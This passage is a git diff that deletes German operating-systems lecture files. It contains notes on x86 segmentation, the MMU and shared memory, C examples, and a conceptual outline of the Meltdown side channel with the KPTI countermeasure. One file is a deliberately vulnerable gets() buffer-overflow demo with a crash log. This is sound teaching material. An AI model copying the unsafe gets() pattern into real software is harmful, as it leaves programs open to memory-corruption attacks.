@@ -1 +0,0 @@
-Test 1
diff --git a/20220509/test-10.txt b/20220509/test-10.txt
deleted file mode 100644
index 8937317202bd72c1680a8a703fc262aeb09b3d9e..0000000000000000000000000000000000000000
--- a/20220509/test-10.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 10
diff --git a/20220509/test-2.txt b/20220509/test-2.txt
deleted file mode 100644
index 110c58e6f30cdd0d7dbe279abaec7e0633fbfca6..0000000000000000000000000000000000000000
--- a/20220509/test-2.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 2
diff --git a/20220509/test-3.txt b/20220509/test-3.txt
deleted file mode 100644
index 0256ffd2f4757804354495d7324a515520bca3f6..0000000000000000000000000000000000000000
--- a/20220509/test-3.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 3
diff --git a/20220509/test-4.txt b/20220509/test-4.txt
deleted file mode 100644
index 2642594316192159f1ee540924a5ec68e6ba8ca7..0000000000000000000000000000000000000000
--- a/20220509/test-4.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 4
diff --git a/20220509/test-5.txt b/20220509/test-5.txt
deleted file mode 100644
index ec8406f8bf2d6bfad89a9fda97dc6e3640d701f5..0000000000000000000000000000000000000000
--- a/20220509/test-5.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 5
diff --git a/20220509/test-6.txt b/20220509/test-6.txt
deleted file mode 100644
index bbadcf1e2e4b366cd25f91679e905d1cf95fcd38..0000000000000000000000000000000000000000
--- a/20220509/test-6.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 6
diff --git a/20220509/test-7.txt b/20220509/test-7.txt
deleted file mode 100644
index b5f1627d397aad8e0909c30570f96c30b43c7d56..0000000000000000000000000000000000000000
--- a/20220509/test-7.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 7
diff --git a/20220509/test-8.txt b/20220509/test-8.txt
deleted file mode 100644
index e55b751af6a202544813ab1268303940cc5422dd..0000000000000000000000000000000000000000
--- a/20220509/test-8.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 8
diff --git a/20220509/test-9.txt b/20220509/test-9.txt
deleted file mode 100644
index be11a5e36625d98893071522823f72ffe970a23f..0000000000000000000000000000000000000000
--- a/20220509/test-9.txt
+++ /dev/null
@@ -1 +0,0 @@
-Test 9
diff --git a/20220516/bs-20220516.txt b/20220516/bs-20220516.txt
deleted file mode 100644
index 59658174ef708d8d7444ab370b49678f0c4840bf..0000000000000000000000000000000000000000
--- a/20220516/bs-20220516.txt
+++ /dev/null
@@ -1,256 +0,0 @@
-Verwaltung von Arbeitsspeicher (RAM), 16.05.2022, 11:38:16
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-8086: 16-Bit-Intel-Prozessor (Mitte der 1980er Jahre):
-
-  Speicheradresse: xxxx:xxxx, z.B. 31d6:0100 oder b800:0300
-                   ~~~~ ~~~~
-               Segment    Offset   <-- jeweils 16 Bit
-
-  Adressierbarer Speicher: 1 MiB = 1024 kiB = 2^20 Bytes
-  Register: nur 16 Bit, nicht 20
-
-  Speicheradresse = 16 · Segment + Offset
-
-  z.B.: 31d6:0100 = 16 · 31d6 + 0100 = 31d60 + 0100 = 31e60
-
-  Praktischer Sinn: Relokation
-   - 16-Bit-Programme können über 64 kiB (= 65536 Bytes) frei verfügen
-   - Ansprechen dieser 64 kiB nur über Offset-Adresse
-   - Das Betriebssystem teilt die Segment-Adresse zu
-  --> Das Anwendungsprogramm kann ohne Änderung
-      an jeder beliebigen Stelle im Speicher laufen ("Relokation").
-  --> Der Prozessor sieht für das Programm bis zu 4 Segmente vor:
-      Code, Daten, Stack, "Extra" --> zusammen 256 kiB
-
-  Sobald dies nicht mehr genügte, nahmen die Programme eigenständig
-  weitere Segmente hinzu. --> volle 1024 kiB ansprechbar
-  --> Unterlaufen der Zuweisung durch das Betriebssystem
-  --> instabil
-
-  Hätten sich die Programme an die Zuweisung durch das Betriebssystem gehalten,
-  wären sie voreinander abgeschottet gewesen.
-
-80286: 16-Bit-Intel-Prozessor mit "Protected Mode" (Ende der 1980er Jahre):
-
-  Speicheradresse: xxxx:xxxx
-                   ~~~~ ~~~~
-              Selektor    Offset   <-- jeweils 16 Bit
-
-  Der Selektor ist ein Index für ein Array,
-  das sich im Prozessor befindet.
-  Darin enthalten:
-   - tatsächliche Speicheradresse des Segments (auch über 1 MiB hinaus)
-   - Größe des Segments
-   - Zugriffsrechte, z.B.: nur lesbar, ausführbar
-  --> Die Hardware kann die Programme voreinander abschotten (daher "protected").
-      Das Betriebssystem nutzt dies nicht, um sich gegen Programme abzuschotten.
-
-  Nachteil: Offset nur 16 Bit --> Beschränkung auf 256 kiB
-  Umgehung: Das Programm selbst verwaltet die Selektoren.
-  --> "protected" hinfällig
-
-  (Es gab verschiedene Standards, um auf mehr als 1024 kiB zuzugreifen:
-  HMA, XMS, EMS, DPMI)
-
-  Zum Gruseln: HMA
-   - setze das Segment auf 0xffff
-   - sorge per Selektor dafür, daß damit die ersten 64 kiB
-     oberhalb von 1024 kiB angesprochen werden können
-  --> zusätzliche 64 kiB an Speicher nutzbar
-
-80386: 32-Bit-Intel-Prozessor mit "Protected Mode" (1990er Jahre):
-
-  Speicheradresse: xxxx:xxxxxxxx
-                   ~~~~ ~~~~~~~~
-              Selektor    Offset   <-- 16 bzw. 32 Bit
-
-  Der Selektor ist ein Index für ein Array,
-  das sich im Prozessor befindet (wie beim 80286).
-
-  Das Offset ist 32 Bit breit und kann daher bis zu 4 GiB ansprechen. :-)
-
-  --> Das Betriebssystem weist dem Programm ein Segment bis zu 4 GiB zu
-      und schottet es gegenüber sich selbst und anderen Programmen ab.
-      (Bei OS/2 und Unix: von Anfang an; bei MS Windows: ab NT 4.0 bzw. XP)
-
-Im "Protected Mode" möglich: Speicher auf Datenträger auslagern
-
-  Die Tabelle vergibt Segmente auch in Speicherbereichen,
-  die physikalisch gar nicht vorhanden sind.
-
-  Sobald das Programm darauf zugreift, entsteht eine Ausnahmesituation (ähnlich Interrupt).
-  Das Betriebssystem kann darauf reagieren und das Segment physikalischem Speicher zuordnen.
-  Falls kein freier physikalischer Speicher mehr vorhanden ist, kann das Betriebssystem
-  ein anderes Segment auf Datenträger schreiben, dieses auf nicht vorhandenen Speicher
-  umlegen und den dadurch gewonnenen Speicher für das andere Programm nutzen ("Swappen").
-
-  Inhalt der Tabelle ("Deskriptoren"):
-   - Länge des Segments
-   - Start-Adresse
-   - Zugriffsrechte
-      - Nur Kernel? Benutzerprogramme?
-      - Leserecht
-      - Schreibrecht
-      - Ausführungsrecht
-     --> Schadensbegrenzung bei Abstürzen.
-         Wenn ein Benutzerprogramm gegen die Rechte verstößt, entsteht eine Ausnahmesituation.
-         Das Betriebssystem kann darauf reagieren und das Programm beenden.
-   - Bit: "vorhanden" (s.o.)
-
-  --> Das Betriebssystem kann Programme gegeneinander abschotten.
-      Damit wird Multitasking und Multi-User möglich.
-
-  Das o.a. Konzept zur Auslagerung von Speicher hat einen Nachteil.
-  Beispiel: Ein Programm A belegt 3/4 des Arbeitsspeichers.
-  Ein weiteres Programm B soll gestartet werden, das 1/3 des Arbeitsspeichers benötigt.
-  --> Der Kernel kann nun ein Segment auslagern, z.B. das Datensegment von Programm A.
-  Problem: Das Segment ist u.U. viel größer als der tatsächlich benötigte Zusatzspeicher.
-  Mit dieser Hardware kann man immer nur ganze Segmente auslagern.
-
-  Lösungsideen:
-   - mehrere kleinere Datensegmente
-     --> Dies muß man bei der Programmierung berücksichtigen.
-   - herunterbrechen auf Speicherzellenebene
-     --> Zusätzliche Hardware, die die Segmente weiter unterteilt: Memory Management Unit (MMU)
-
-AMD-64-Bit-Prozessoren (AMD Opteron, 2003, Intel-kompatibel):
-
-  MMU unterteilt den Speicher in Seiten von jeweils 4 kiB.
-  Das Betriebssystem entscheidet über die Zuordnung zwischen logischen
-  und physikalischen Speicheradressen - einschließlich Auslagerungsspeicher.
-
-  Dieser Mechanismus greift erst _nach_ den Segmenten.
-  Dies bedeutet für die Interpretation eines Zeigers:
-   - Ein Zeiger enthält eine Zahl, die Speicheradresse (Offset).
-   - Das Programm kennt das ihm zugeordnete Segment.
-     Segment und Offset definieren gemeinsam eine logische Speicheradresse.
-   - Die MMU ordnet diese logische Speicheradresse einer physikalischen zu,
-     die auch ausgelagert sein darf.
-
-  Dadurch wird möglich:
-   - Gemeinsamer Speicher mehrerer Programme (Shared Memory).
-     Dadurch möglich: extrem schnelle Kommunikation zwischen Programmen
-   - Sicherheitslücken, z.B. Meltdown, Spectre
-
-Die Meltdown-Sicherheitslücke, 16.05.2022, 12:28:15
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Situation: Ein Programm will Speicher auslesen, für den es keine Leseberechtigung hat,
-z.B. Speicher des Kernels.
-
-Vorgehensweise: siehe https://de.wikipedia.org/wiki/Meltdown_(Sicherheitsl%C3%BCcke)
-
-Wir arbeiten mit einem Riesen-Array:
-
-  #define VIELE 0xffffffffffffffff  // größtmögliche 64-Bit-Zahl
-
-  typedef uint8_t page[4096];  // Datentyp: Array von 4096 Bytes
-
-  page A[VIELE];  // Riesen-Array. Jedes einzelne Element ist 4096 Bytes groß,
-                  // und es sind VIELE Elemente.
-
-  Bei Programmstart wird das Riesen-Array nicht sofort im physikalischen Speicher angelegt.
-  Erst dann, wenn das Programm darauf zugreift, reserviert die MMU tatsächlich physikalischen Speicher.
-
-  Schritt 1: Ein "Sender"-Thread greift mit einem "verbotenen" Index auf das Array zu und stürzt ab.
-
-  Schritt 2: Ein "Empfänger"-Thread geht das Array durch
-             und prüft, bei welchem Index der Zugriff ungewöhnlich schnell erfolgt
-             (weil darauf vorher schon einmal zugegriffen wurde).
-
-"Sender"-Thread:
-
- - Greife "einfach so" auf die Speicherzelle zu.
-   Dies bewirkt einen Absturz (Prozessor-Ausnahme; Betriebssystem beendet Programm)
- - Danach (nach dem Absturz!) multiplizieren wir den gelesenen Wert mit 4096
-   (entsprechend der Größe einer Speicherseite, 4 kiB)
- - Das Ergebnis benutzen wir als Index für ein Array,
-   das für den Hauptspeicher viel zu groß ist.
- - Wäre das Programm nicht bereits abgestürzt, würde nun der Prozessor versuchen,
-   auf diese Stelle im Array zuzugreifen. Zu diesem Zweck macht er die entsprechende
-   Speicherseite zugänglich.
-
-"Empfänger"-Thread:
-
- - Warte, bis der Sender-Thread fertig ist.
- - Danach greife auf das Riesen-Array zu.
- - Dort, wo die Speicher-Seite bereits zugänglich gemacht wurde, ist der Zugriff schneller.
-   Mit Hilfe einer Zeitmessung kann der Empfänger-Thread daraus schließen,
-   auf welche Speicher-Seite der Sender-Thread zuzugreifen versucht hat.
-
-Wieso funktioniert dies, wenn doch der Sender-Thread bereits vorher abgestürzt ist?
-
- - Vorauslesen des Prozessors zur Erhöhung der Effizienz ("Instruction Pipeline").
-   Bis der Prozessor den Absturz erkennt, hat er bereits das Riesen-Array für
-   den Speicherzugriff vorbereitet.
-
---> Hardware-Sicherheitsloch
-
-Gegenmaßnahme: KPTI (siehe: https://de.wikipedia.org/wiki/Kernel_page-table_isolation)
- - Vorab: Kernel Address Space Layout Randomization (KASLR):
-   Die Segmente, die das Programm zugeteilt bekommt, sind jedesmal zufällig
-   und damit nicht vorhersagbar.
- - Vorgänger: Kernel Address Isolation to have Side-channels Efficiently Removed (KAISER)
- - Kernel Page Table Isolation (KPTI)
-   Illustration: https://en.wikipedia.org/wiki/Kernel_page-table_isolation#/media/File:Kernel_page-table_isolation.svg
-   Page Table = Seitentabelle
-              = Tabelle, die einen Zeiger (auf logischen Speicher)
-                auf eine physikalische Speicheradresse abbildet
-   
-   Das Programm arbeitet nur mit Zeigern.
-   Der Kernel kann auch die Tabelle(n) beeinflussen.
-
-   Es ist insbesondere möglich, dieselbe physikalische Speicheradresse
-   unter verschiedenen logischen Speicheradressen anzusprechen.
-
-   KPTI: Verwende verschiedene Seitentabellen im Kernel-Modus und im User-Modus.
-
-   Meltdown-Code:
-    - Sender und Empfänger arbeiten im User-Modus
-      und wollen die (logische) Speicherzelle Nr. rcx auslesen.
-    - Da der Kernel eine eigene Seitentabelle verwendet,
-      ist nicht klar, logische Speiherzelle im Kernel dafür steht
-      (oder umgekehrt:  ..., welche Bedeutung diese Speicherzelle
-      im Kernel hat).
-   --> Zeiger im Kernel und im Benutzerprogramm haben völlig unterschiedliche Bedeutungen.
-       Man weiß gar nicht mehr, welche Speicherzelle man da eigentlich ausliest.
-
-Ein Nachtrag zu SPECTRE/Meltdown: Mit dem Skript unter
-https://github.com/speed47/spectre-meltdown-checker/
-(oder gleichnamiges Debianpaket aus einer möglichst aktuellen Distribution)
-können Sie Ihr Linux-System gegen entsprechende Sicherheitslücken überprüfen.
-
-Ähnliches Konzept:
-  Ausnutzen von Pufferüberläufen und Maßnahmen dagegen
-  --> Nächste Woche
-
-Gemeinsamer Speicher (Shared Memory), 16.05.2022, 14:10:56
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-shm-1: Ein Programm kann einen gemeinsamen Speicherbereich wie eine Datei öffnen.
-       Es gibt einen ("Datei-") Namen und einen Modus (rwxrwxrwx) wie bei Dateien.
-
-       Siehe: man shm_open
-
-shm-2: Man muß die "Datei" auch schließen, sonst verliert man die Daten.
-
-shm-3: Die Vorgehensweise mit SHM als "Datei" ist nahezu identisch dazu,
-       daß ein Programm die Daten in eine Datei schreibt
-       und ein anderes sie daraus wieder liest.
-
-shm-4: Alternative: Ich kann die "Datei" in einen Zeiger umwandeln
-       und damit direkt auf den gemeinsamen Speicherbereich zugreifen.
-
-shm-5: Umgekehrt kann man übrigens auch eine echte(!) Datei in einen Zeiger umwandeln
-       und auf die Datei zugreifen, als wäre sie ein Speicherbereich.
-
-shm-7: Wo liegt der Speicherbereich? --> Das wissen wir nicht.
-       Jedes Programm, das auf den Speicherbereich zugreift, bekommt einen anderen(!)
-       Zeiger, obwohl alle diese Zeiger auf denselben physikalischen Speicherbereich zeigen.
-
-shm-8: Nach Gebrauch sollte man den gemeinsamen Speicherbereich wieder freigeben
-       (analog zum Löschen einer temporären Datei).
-
-Ergänzung: Mit der Funktion mmap() kann man auch eine Pseudo-Datei im /proc-Verzeichnis
-           öffnen (/proc/kcore?), über die der Kernel den gesamten Speicher als Datei
-           zur Verfügung stellt. (Diese Datei ist nur für den Administrator freigegeben.)
-           --> Man kann mit einem Zeiger auf beliebige Speicherzellen zugreifen.
-           Anwendung: GPIOs auf Einplatinen-Computern ansprechen.
diff --git a/20220516/buffer-overflow-01.c b/20220516/buffer-overflow-01.c
deleted file mode 100644
index 589cc0a64f89e08c6a7cf5b53f0c99d8ca932962..0000000000000000000000000000000000000000
--- a/20220516/buffer-overflow-01.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[20];
-  gets (buffer);
-  printf ("Guten Tag, %s!\n", buffer);
-  return 0;
-}
diff --git a/20220516/buffer-overflow-01.txt b/20220516/buffer-overflow-01.txt
deleted file mode 100644
index 9277da31e7a3e8b5f7f0ccb369f6eee47efde650..0000000000000000000000000000000000000000
--- a/20220516/buffer-overflow-01.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[20];
-  gets (buffer);
-  printf ("Guten Tag, %s!\n", buffer);
-  return 0;
-}
-cassini/home/peter/bo/2022ss/bs/20220516> gcc -Wall -O buffer-overflow-01.c -o buffer-overflow-01
-buffer-overflow-01.c: In function ‘main’:
-buffer-overflow-01.c:6:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
-   gets (buffer);
-   ^~~~
-   fgets
-/usr/bin/ld: /tmp/cc8eISnL.o: in function `main':
-buffer-overflow-01.c:(.text+0x11): Warnung:the `gets' function is dangerous and should not be used.
-cassini/home/peter/bo/2022ss/bs/20220516> ./buffer-overflow-01
-Peter
-Guten Tag, Peter!
-cassini/home/peter/bo/2022ss/bs/20220516> ./buffer-overflow-01
-Prof. Dr. rer. nat. Peter Gerwinski
-Guten Tag, Prof. Dr. rer. nat. Peter Gerwinski!
-cassini/home/peter/bo/2022ss/bs/20220516> ./buffer-overflow-01
-Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski
-Guten Tag, Prof. Dr. rer. nat. Dipl.-Phys. Peter Gerwinski!
-Speicherzugriffsfehler
-cassini/home/peter/bo/2022ss/bs/20220516>
diff --git a/20220516/hello-01.c b/20220516/hello-01.c
deleted file mode 100644
index b3201f333349fb959daf5c8216ed5f078727b41f..0000000000000000000000000000000000000000
--- a/20220516/hello-01.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char *hello = "Hello!";
-  printf ("%s\n", hello);
-  return 0;
-}
diff --git a/20220516/hello-02.c b/20220516/hello-02.c
deleted file mode 100644
index 23686a622d7a75ef5e08af6bba8dbb9ecfca503d..0000000000000000000000000000000000000000
--- a/20220516/hello-02.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  char *hello = "Hello!";
-  hello[1] = 'a';
-  printf ("%s\n", hello);
-  return 0;
-}
diff --git a/20220516/hello-02.s b/20220516/hello-02.s
deleted file mode 100644
index e396f2a4ef344f7621d2046e5178084921a40b57..0000000000000000000000000000000000000000
--- a/20220516/hello-02.s
+++ /dev/null
@@ -1,25 +0,0 @@
-	.file	"hello-02.c"
-	.text
-	.section	.rodata.str1.1,"aMS",@progbits,1
-.LC0:
-	.string	"Hello!"
-	.text
-	.globl	main
-	.type	main, @function
-main:
-.LFB11:
-	.cfi_startproc
-	subq	$8, %rsp
-	.cfi_def_cfa_offset 16
-	movb	$97, 1+.LC0(%rip)
-	leaq	.LC0(%rip), %rdi
-	call	puts@PLT
-	movl	$0, %eax
-	addq	$8, %rsp
-	.cfi_def_cfa_offset 8
-	ret
-	.cfi_endproc
-.LFE11:
-	.size	main, .-main
-	.ident	"GCC: (Debian 8.3.0-6) 8.3.0"
-	.section	.note.GNU-stack,"",@progbits
diff --git a/20220516/shm-1a.c b/20220516/shm-1a.c
deleted file mode 100644
index c404db3bdb22a6b0a0a1e30b47b4b2de0a048f12..0000000000000000000000000000000000000000
--- a/20220516/shm-1a.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_RDWR, 0666);
-  write (shm, "Hello, world!", 13);
-  return 0;
-}
diff --git a/20220516/shm-1b.c b/20220516/shm-1b.c
deleted file mode 100644
index de7774f79a26406bf5032f8d9a4fa543e35963fe..0000000000000000000000000000000000000000
--- a/20220516/shm-1b.c
+++ /dev/null
@@ -1,13 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  read (shm, buffer, 42);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20220516/shm-1c.c b/20220516/shm-1c.c
deleted file mode 100644
index ff6363eddfa2b6d26ae5c390f96306702afd60f8..0000000000000000000000000000000000000000
--- a/20220516/shm-1c.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  lseek (shm, 0, SEEK_SET);
-  read (shm, buffer, 42);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20220516/shm-2a.c b/20220516/shm-2a.c
deleted file mode 100644
index 8853ecaed14074e136a764fbdb868d5fe7a4baf3..0000000000000000000000000000000000000000
--- a/20220516/shm-2a.c
+++ /dev/null
@@ -1,11 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
-  write (shm, "Hello, world!", 14);
-  close (shm);
-  return 0;
-}
diff --git a/20220516/shm-2b.c b/20220516/shm-2b.c
deleted file mode 100644
index 92ef091a9f00a93ed834071bd425b5b60238c3ee..0000000000000000000000000000000000000000
--- a/20220516/shm-2b.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  read (shm, buffer, 42);
-  close (shm);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20220516/shm-3a.c b/20220516/shm-3a.c
deleted file mode 100644
index b5273ec483618b33585ff78f70f419bdff149950..0000000000000000000000000000000000000000
--- a/20220516/shm-3a.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  printf ("file = %d\n", file);
-  lseek (file, 0, SEEK_SET);
-  write (file, "Hello, world!", 14);
-  close (file);
-  return 0;
-}
diff --git a/20220516/shm-3b.c b/20220516/shm-3b.c
deleted file mode 100644
index 21f2d5d32d075a33bd94abeb9b69495d58b8c8a5..0000000000000000000000000000000000000000
--- a/20220516/shm-3b.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  char buffer[42];
-  int file = open ("test.txt", O_RDONLY, 0444);
-  lseek (file, 0, SEEK_SET);
-  read (file, buffer, 42);
-  close (file);
-  printf ("%s\n", buffer);
-  return 0;
-}
diff --git a/20220516/shm-4a.c b/20220516/shm-4a.c
deleted file mode 100644
index 00ddb6790a669f3040dd7439c98c30d01227662d..0000000000000000000000000000000000000000
--- a/20220516/shm-4a.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
-  strcpy (buffer, "Hello, world!");
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
diff --git a/20220516/shm-4b.c b/20220516/shm-4b.c
deleted file mode 100644
index 34c4b6ae3bebb451979307c61f3cfe66c5477f87..0000000000000000000000000000000000000000
--- a/20220516/shm-4b.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0);
-  printf ("%s\n", buffer);
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
diff --git a/20220516/shm-5a.c b/20220516/shm-5a.c
deleted file mode 100644
index 8acc3dde82d8d7f7c4fd77714a3f5f65b7aa2b96..0000000000000000000000000000000000000000
--- a/20220516/shm-5a.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  strcpy (buffer, "Hello, world!");
-  munmap (buffer, 42);
-  close (file);
-  return 0;
-}
diff --git a/20220516/shm-5b.c b/20220516/shm-5b.c
deleted file mode 100644
index c31ba9b27a39f587474632b0442cbc33d20206eb..0000000000000000000000000000000000000000
--- a/20220516/shm-5b.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_RDONLY, 0444);
-  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, file, 0);
-  printf ("%s\n", buffer);
-  munmap (buffer, 42);
-  close (file);
-  return 0;
-}
diff --git a/20220516/shm-6a.c b/20220516/shm-6a.c
deleted file mode 100644
index 45e883c1f746de42bf8b2cfc0bcebb61e9c862e2..0000000000000000000000000000000000000000
--- a/20220516/shm-6a.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  fprintf (stderr, "0\n");
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  fprintf (stderr, "1\n");
-  strcpy (buffer, "Hello, world!");
-  fprintf (stderr, "2\n");
-  munmap (buffer, 42);
-  fprintf (stderr, "3\n");
-  close (file);
-  return 0;
-}
diff --git a/20220516/shm-6c.c b/20220516/shm-6c.c
deleted file mode 100644
index c4c537612a4d24d1b7bf20bb8c3f53a30c0a3322..0000000000000000000000000000000000000000
--- a/20220516/shm-6c.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int file = open ("test.txt", O_CREAT | O_RDWR, 0666);
-  fprintf (stderr, "0\n");
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, file, 0);
-  fprintf (stderr, "1\n");
-  strcpy (buffer, "Dies ist ein weiterer Test.");
-  fprintf (stderr, "2\n");
-  munmap (buffer, 42);
-  fprintf (stderr, "3\n");
-  close (file);
-  return 0;
-}
diff --git a/20220516/shm-7.txt b/20220516/shm-7.txt
deleted file mode 100644
index 42250e229b66f3e27fa2fcf3bd300f5f96795230..0000000000000000000000000000000000000000
--- a/20220516/shm-7.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220516> cat shm-7a.c
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
-  printf ("%016zx\n", buffer);
-  strcpy (buffer, "Hello, world!");
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
-cassini/home/peter/bo/2022ss/bs/20220516> gcc -Wall -O shm-7a.c -lrt -o shm-7a
-shm-7a.c: In function ‘main’:
-shm-7a.c:11:17: warning: format ‘%zx’ expects argument of type ‘size_t’, but argument 2 has type ‘char *’ [-Wformat=]
-   printf ("%016zx\n", buffer);
-            ~~~~~^     ~~~~~~
-            %016s
-cassini/home/peter/bo/2022ss/bs/20220516> ./shm-7a
-00007f40c3ceb000
-cassini/home/peter/bo/2022ss/bs/20220516> cat shm-7b.c
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0);
-  printf ("%016zx\n", buffer);
-  printf ("%s\n", buffer);
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
-cassini/home/peter/bo/2022ss/bs/20220516> gcc -Wall -O shm-7b.c -lrt -o shm-7b
-shm-7b.c: In function ‘main’:
-shm-7b.c:10:17: warning: format ‘%zx’ expects argument of type ‘size_t’, but argument 2 has type ‘char *’ [-Wformat=]
-   printf ("%016zx\n", buffer);
-            ~~~~~^     ~~~~~~
-            %016s
-cassini/home/peter/bo/2022ss/bs/20220516> ./shm-7b
-00007fd7e2c36000
-Hello, world!
-cassini/home/peter/bo/2022ss/bs/20220516>
diff --git a/20220516/shm-7a.c b/20220516/shm-7a.c
deleted file mode 100644
index 4641337ca7d979440d493311193e618d713f1f27..0000000000000000000000000000000000000000
--- a/20220516/shm-7a.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_CREAT | O_RDWR, 0666);
-  char *buffer = mmap (NULL, 42, PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
-  printf ("%016zx\n", buffer);
-  strcpy (buffer, "Hello, world!");
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
diff --git a/20220516/shm-7b.c b/20220516/shm-7b.c
deleted file mode 100644
index e39d524762cc641d3c019cc16a7193424b3bca43..0000000000000000000000000000000000000000
--- a/20220516/shm-7b.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-
-int main (void)
-{
-  int shm = shm_open ("test", O_RDONLY, 0444);
-  char *buffer = mmap (NULL, 42, PROT_READ, MAP_SHARED, shm, 0);
-  printf ("%016zx\n", buffer);
-  printf ("%s\n", buffer);
-  munmap (buffer, 42);
-  close (shm);
-  return 0;
-}
diff --git a/20220516/shm-8.c b/20220516/shm-8.c
deleted file mode 100644
index f2397311753bbcdc9e747804c3c0ccf04087533f..0000000000000000000000000000000000000000
--- a/20220516/shm-8.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <sys/mman.h>
-
-int main (void)
-{
-  shm_unlink ("test");
